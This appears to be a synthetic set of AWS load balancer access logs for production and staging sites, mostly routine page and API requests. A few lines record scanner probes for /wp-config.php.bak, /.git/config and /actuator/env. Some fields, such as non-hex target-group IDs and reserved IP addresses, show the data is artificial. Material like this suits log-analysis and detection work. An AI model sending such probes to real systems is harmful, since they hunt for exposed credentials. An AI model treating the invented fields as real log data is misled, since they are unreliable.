arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2b0-3d6044db50434eeab9f00706" "prod-api-alb.example.com" "-" 7 2024-11-01T01:55:44.500532Z "forward" "-" "-" "10.0.102.240:443" "404" "-" "-" -https 2024-11-01T01:55:45.108266Z prod-web-alb 193.27.228.197:46538 10.0.58.197:443 0.071792 0.061892 0.004180 301 301 709 12665 "GET /wp-config.php.bak HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2b1-25e78d5ad2434de0809593d2" "-" "-" 10 2024-11-01T01:55:45.108266Z "forward" "-" "-" "10.0.58.197:443" "301" "-" "-" -http 2024-11-01T01:55:46.112365Z staging-alb 72.208.90.204:46279 74.250.206.133:80 0.146408 0.644746 0.016084 404 404 483 1149 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2b2-0fafd49f8a804e4d957f5dfa" "staging-alb.example.com" "-" 9 2024-11-01T01:55:46.112365Z "forward" "-" "-" "74.250.206.133:80" "404" "-" "-" -https 2024-11-01T01:55:47.726200Z prod-api-alb 89.4.17.242:41261 10.0.140.65:443 0.065878 0.251830 0.038716 404 404 586 14407 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2b3-408d6298a42f44188e894c20" "prod-api-alb.example.com" "-" 0 2024-11-01T01:55:47.726200Z "forward" "-" "-" "10.0.140.65:443" "404" "-" "-" -https 2024-11-01T01:55:48.373994Z prod-web-alb 18.214.128.132:55675 10.0.130.179:443 0.021318 0.427323 0.080507 200 200 689 8701 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2b4-70a98cda9780456a8c000d26" "prod-web-alb.example.com" "-" 10 2024-11-01T01:55:48.373994Z "forward" "-" "-" "10.0.130.179:443" "200" "-" "-" -https 2024-11-01T01:55:49.589040Z staging-alb 172.118.89.35:21328 249.166.155.138:80 0.004981 0.049921 0.079562 301 301 842 1018 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2b5-1821ade0209a4abe9cbf588b" "staging-alb.example.com" "-" 6 2024-11-01T01:55:49.589040Z "forward" "-" "-" "249.166.155.138:80" "301" "-" "-" -https 2024-11-01T01:55:51.540306Z prod-web-alb 251.109.195.156:32139 10.0.65.177:443 0.026399 0.269543 0.076033 302 302 655 2730 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2b7-37f250e71aa84680977019eb" "prod-web-alb.example.com" "-" 4 2024-11-01T01:55:51.540306Z "forward" "-" "-" "10.0.65.177:443" "302" "-" "-" -http 2024-11-01T01:55:52.044887Z staging-alb 82.165.193.97:18722 0.252.151.159:8080 0.067554 0.680195 0.130150 200 200 250 10382 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2b8-445694c83d9c40d785c39430" "staging-alb.example.com" "-" 3 2024-11-01T01:55:52.044887Z "forward" "-" "-" "0.252.151.159:8080" "200" "-" "-" -https 2024-11-01T01:55:53.180263Z prod-web-alb 1.118.50.205:44030 10.0.187.59:443 0.039053 0.109967 0.095712 404 404 780 2355 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2b9-c690559574964e4ba4abc331" "prod-web-alb.example.com" "-" 0 2024-11-01T01:55:53.180263Z "forward" "-" "-" "10.0.187.59:443" "404" "-" "-" -http 2024-11-01T01:55:54.850936Z staging-alb 178.197.194.129:13991 124.214.162.144:443 0.089043 0.301764 0.011864 200 200 208 12520 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2ba-2df5d9d484084fb8af303351" "-" "-" 9 2024-11-01T01:55:54.850936Z "forward" "-" "-" "124.214.162.144:443" "200" "-" "-" -https 2024-11-01T01:55:54.960929Z prod-api-alb 73.172.8.223:11083 10.0.192.61:443 0.055309 0.125895 0.034966 200 200 68 5414 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2ba-ba50eb04446242be87c69a55" "prod-api-alb.example.com" "-" 10 2024-11-01T01:55:54.960929Z "forward" "-" "-" "10.0.192.61:443" "200" "-" "-" -https 2024-11-01T01:55:56.121855Z staging-alb 230.52.110.58:38856 250.112.74.188:8080 0.012865 0.363307 0.055344 200 200 701 4121 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2bc-5ef9222ad30c474eb6458bb1" "staging-alb.example.com" "-" 7 2024-11-01T01:55:56.121855Z "forward" "-" "-" "250.112.74.188:8080" "200" "-" "-" -https 2024-11-01T01:55:57.103884Z prod-web-alb 115.20.92.244:21778 10.0.173.251:443 0.001256 0.161382 0.092631 200 200 308 12407 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2bd-4da68202de4f45ad92b90c57" "prod-web-alb.example.com" "-" 7 2024-11-01T01:55:57.103884Z "forward" "-" "-" "10.0.173.251:443" "200" "-" "-" -https 2024-11-01T01:55:57.520162Z staging-alb 67.251.63.159:10724 206.164.253.112:80 0.112643 0.110398 0.124177 200 200 393 7031 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2bd-d6e11ad11b784c9ea3f8b11f" "staging-alb.example.com" "-" 3 2024-11-01T01:55:57.520162Z "forward" "-" "-" "206.164.253.112:80" "200" "-" "-" -https 2024-11-01T01:55:59.019382Z staging-alb 121.8.202.19:39164 110.190.229.129:80 0.114549 0.613452 0.086445 200 200 19 9568 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2bf-87d2d227c7cf41dd9dbf4823" "staging-alb.example.com" "-" 1 2024-11-01T01:55:59.019382Z "forward" "-" "-" "110.190.229.129:80" "200" "-" "-" -https 2024-11-01T01:55:59.130998Z prod-api-alb 236.7.163.142:20513 10.0.91.175:443 0.064109 0.264993 0.038293 200 200 743 1629 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2bf-983e963a2d7f4b2cb8adfab1" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:59.130998Z "forward" "-" "-" "10.0.91.175:443" "200" "-" "-" -https 2024-11-01T01:56:00.148379Z prod-web-alb 128.86.186.163:54987 10.0.196.58:443 0.092236 0.200743 0.064133 200 200 842 11447 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2c0-a9e2ffa7bc7a47cca77dd8a9" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:00.148379Z "forward" "-" "-" "10.0.196.58:443" "200" "-" "-" -https 2024-11-01T01:56:01.028434Z prod-api-alb 78.20.106.118:25688 10.0.138.157:443 0.000426 0.343626 0.000300 200 200 586 701 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2c1-ac3d6e5b639340f7989868bb" "prod-api-alb.example.com" "-" 9 2024-11-01T01:56:01.028434Z "forward" "-" "-" "10.0.138.157:443" "200" "-" "-" -https 2024-11-01T01:56:02.697353Z prod-web-alb 35.126.20.61:46132 10.0.56.184:443 0.031932 0.101577 0.006059 200 200 66 4855 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2c2-dc86f9e334d54cd9bc55c0f6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:56:02.697353Z "forward" "-" "-" "10.0.56.184:443" "200" "-" "-" -https 2024-11-01T01:56:04.631856Z prod-web-alb 108.63.244.116:48292 10.0.134.56:443 0.037632 0.256917 0.027830 200 200 418 354 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2c4-6da3f12c596d4a7c9a01ac83" "prod-web-alb.example.com" "-" 3 2024-11-01T01:56:04.631856Z "forward" "-" "-" "10.0.134.56:443" "200" "-" "-" -https 2024-11-01T01:56:05.161039Z staging-alb 51.136.33.215:62501 191.241.72.118:443 0.135164 0.189372 0.130697 200 200 557 3072 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2c5-a4af30e678bd41cfa2198f08" "staging-alb.example.com" "-" 4 2024-11-01T01:56:05.161039Z "forward" "-" "-" "191.241.72.118:443" "200" "-" "-" -https 2024-11-01T01:56:05.598207Z staging-alb 212.109.109.101:26132 17.41.1.61:443 0.079819 0.042977 0.122300 200 200 778 7282 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2c5-9f6ec8cfc70d48118c97c437" "staging-alb.example.com" "-" 1 2024-11-01T01:56:05.598207Z "forward" "-" "-" "17.41.1.61:443" "200" "-" "-" -https 2024-11-01T01:56:05.701514Z prod-web-alb 63.135.102.212:61015 10.0.40.161:443 0.096272 0.207115 0.085560 200 200 195 13695 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2c5-9d86afde7e6f4f88ae0eaff1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:05.701514Z "forward" "-" "-" "10.0.40.161:443" "200" "-" "-" -https 2024-11-01T01:56:06.035824Z prod-web-alb 45.155.205.189:20170 10.0.143.117:443 0.061479 0.234652 0.058957 302 302 622 13472 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2c6-8d5f8eb7af734815ab277a4e" "-" "-" 9 2024-11-01T01:56:06.035824Z "forward" "-" "-" "10.0.143.117:443" "302" "-" "-" -https 2024-11-01T01:56:07.392800Z staging-alb 63.28.148.152:23545 232.236.150.166:443 0.022309 0.370961 0.029654 404 404 11 9187 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2c7-9acc56d3a6e04fef8af5bded" "staging-alb.example.com" "-" 7 2024-11-01T01:56:07.392800Z "forward" "-" "-" "232.236.150.166:443" "404" "-" "-" -https 2024-11-01T01:56:09.291404Z staging-alb 59.31.187.77:53347 92.198.206.141:8080 0.032426 0.451129 0.121702 200 200 53 5482 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2c9-0b2ca392e06e4aadbd4df2bc" "staging-alb.example.com" "-" 4 2024-11-01T01:56:09.291404Z "forward" "-" "-" "92.198.206.141:8080" "200" "-" "-" -https 2024-11-01T01:56:10.211854Z prod-web-alb 199.136.119.4:62893 10.0.95.11:443 0.090249 0.225864 0.052497 301 301 885 5193 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ca-400aa9bcdc2242f28b4643ff" "prod-web-alb.example.com" "-" 6 2024-11-01T01:56:10.211854Z "forward" "-" "-" "10.0.95.11:443" "301" "-" "-" -https 2024-11-01T01:56:10.498809Z prod-web-alb 110.97.143.113:52520 10.0.44.194:443 0.063675 0.457897 0.055794 301 301 440 5847 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ca-bca28ba21c974f0c8edd5a5f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:10.498809Z "forward" "-" "-" "10.0.44.194:443" "301" "-" "-" -https 2024-11-01T01:56:12.387097Z prod-api-alb 216.185.136.183:18292 10.0.161.234:443 0.073684 0.087992 0.074782 302 302 946 14527 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2cc-77304f22add64bc5937eb4f1" "prod-api-alb.example.com" "-" 6 2024-11-01T01:56:12.387097Z "forward" "-" "-" "10.0.161.234:443" "302" "-" "-" -https 2024-11-01T01:56:14.116151Z prod-web-alb 10.201.90.74:35863 10.0.108.238:443 0.055438 0.461483 0.081622 200 200 515 2268 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ce-9dfcb27fbfda4c769d2e9f42" "prod-web-alb.example.com" "-" 1 2024-11-01T01:56:14.116151Z "forward" "-" "-" "10.0.108.238:443" "200" "-" "-" -https 2024-11-01T01:56:15.102051Z prod-web-alb 127.194.192.162:44554 10.0.158.214:443 0.021927 0.257457 0.026548 200 200 535 4194 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2cf-81edfa35ea2c4dd78973a2d0" "-" "-" 10 2024-11-01T01:56:15.102051Z "forward" "-" "-" "10.0.158.214:443" "200" "-" "-" -https 2024-11-01T01:56:15.462462Z staging-alb 185.181.125.99:39864 216.160.18.81:8080 0.135474 0.515110 0.023985 500 500 192 6287 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2cf-a5a0e9f26f5a484e9c327f86" "-" "-" 1 2024-11-01T01:56:15.462462Z "forward" "-" "-" "216.160.18.81:8080" "500" "-" "-" -http 2024-11-01T01:56:16.387926Z staging-alb 53.147.101.247:54872 242.249.89.211:80 0.097925 0.688946 0.044437 404 404 92 5196 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2d0-81390088f554476288a779a6" "staging-alb.example.com" "-" 0 2024-11-01T01:56:16.387926Z "forward" "-" "-" "242.249.89.211:80" "404" "-" "-" -https 2024-11-01T01:56:18.050371Z staging-alb 129.194.149.2:24512 237.140.157.254:8080 0.128190 0.160054 0.085750 200 200 461 4686 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2d2-865b5004e14744a183d61d2f" "staging-alb.example.com" "-" 5 2024-11-01T01:56:18.050371Z "forward" "-" "-" "237.140.157.254:8080" "200" "-" "-" -http 2024-11-01T01:56:18.474751Z staging-alb 60.166.58.12:47753 41.200.86.98:8080 0.126007 0.280845 0.029525 404 404 185 11436 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2d2-b78c46507c614738acedbce4" "-" "-" 4 2024-11-01T01:56:18.474751Z "forward" "-" "-" "41.200.86.98:8080" "404" "-" "-" -https 2024-11-01T01:56:18.709685Z prod-api-alb 100.55.53.178:64557 10.0.103.186:443 0.051255 0.188717 0.025590 200 200 22 4308 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2d2-777ad2d4f62d498db3e94c65" "prod-api-alb.example.com" "-" 0 2024-11-01T01:56:18.709685Z "forward" "-" "-" "10.0.103.186:443" "200" "-" "-" -https 2024-11-01T01:56:19.612931Z prod-api-alb 107.117.115.105:51579 10.0.216.182:443 0.033252 0.159422 0.090141 302 302 207 1808 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2d3-0c31d134ff3a4301ab8fd313" "prod-api-alb.example.com" "-" 2 2024-11-01T01:56:19.612931Z "forward" "-" "-" "10.0.216.182:443" "302" "-" "-" -https 2024-11-01T01:56:20.876196Z prod-web-alb 42.242.239.106:60165 10.0.200.193:443 0.062673 0.363078 0.099250 301 301 141 6822 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2d4-3fbf58fa66d341d7ab40808c" "prod-web-alb.example.com" "-" 0 2024-11-01T01:56:20.876196Z "forward" "-" "-" "10.0.200.193:443" "301" "-" "-" -https 2024-11-01T01:56:22.504570Z prod-api-alb 231.149.54.168:34507 10.0.24.115:443 0.025799 0.152408 0.090156 301 301 32 3603 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2d6-52ccaa51025a431f9ccae7c7" "prod-api-alb.example.com" "-" 6 2024-11-01T01:56:22.504570Z "forward" "-" "-" "10.0.24.115:443" "301" "-" "-" -https 2024-11-01T01:56:24.501425Z prod-web-alb 195.55.238.88:18172 10.0.119.211:443 0.050952 0.213526 0.042716 200 200 838 3096 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2d8-a3d9199207434d73988fa822" "prod-web-alb.example.com" "-" 8 2024-11-01T01:56:24.501425Z "forward" "-" "-" "10.0.119.211:443" "200" "-" "-" -https 2024-11-01T01:56:26.397694Z prod-web-alb 26.156.46.204:12180 10.0.133.75:443 0.099807 0.091396 0.058375 404 404 252 9612 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2da-1d9d4ba9c7a3442c9e86eedb" "prod-web-alb.example.com" "-" 5 2024-11-01T01:56:26.397694Z "forward" "-" "-" "10.0.133.75:443" "404" "-" "-" -https 2024-11-01T01:56:28.045145Z prod-api-alb 193.27.228.161:57104 10.0.251.61:443 0.065650 0.133089 0.045102 403 403 73 12068 "POST /.git/config HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2dc-ad0c296d53e74237a67c751b" "-" "-" 9 2024-11-01T01:56:28.045145Z "forward" "-" "-" "10.0.251.61:443" "403" "-" "-" -https 2024-11-01T01:56:29.766434Z prod-web-alb 188.178.4.68:10711 10.0.175.86:443 0.022539 0.326423 0.016871 404 404 929 14768 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2dd-77b93befe78a4100a18087ec" "prod-web-alb.example.com" "-" 1 2024-11-01T01:56:29.766434Z "forward" "-" "-" "10.0.175.86:443" "404" "-" "-" -https 2024-11-01T01:56:30.558809Z prod-api-alb 136.233.140.40:41203 10.0.45.68:443 0.075704 0.461672 0.041818 200 200 201 4133 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2de-a640d37229f541e18918e949" "prod-api-alb.example.com" "-" 10 2024-11-01T01:56:30.558809Z "forward" "-" "-" "10.0.45.68:443" "200" "-" "-" -https 2024-11-01T01:56:32.025363Z prod-web-alb 250.83.62.134:20096 10.0.79.195:443 0.059862 0.153950 0.010513 200 200 462 9012 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2e0-4ae9ec252d9140da960f3e0b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:32.025363Z "forward" "-" "-" "10.0.79.195:443" "200" "-" "-" -https 2024-11-01T01:56:32.597250Z prod-web-alb 202.58.108.205:57479 10.0.222.74:443 0.082041 0.123952 0.040697 301 301 959 13160 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2e0-f4915a922bd648278c8c6c17" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:32.597250Z "forward" "-" "-" "10.0.222.74:443" "301" "-" "-" -https 2024-11-01T01:56:34.502981Z prod-web-alb 203.29.189.179:30006 10.0.209.76:443 0.002596 0.370762 0.030682 200 200 599 10413 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2e2-3b661a376cc747ddade71bec" "prod-web-alb.example.com" "-" 1 2024-11-01T01:56:34.502981Z "forward" "-" "-" "10.0.209.76:443" "200" "-" "-" -https 2024-11-01T01:56:36.427608Z prod-api-alb 27.167.147.46:15122 10.0.102.70:443 0.048221 0.423750 0.079213 200 200 252 5259 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 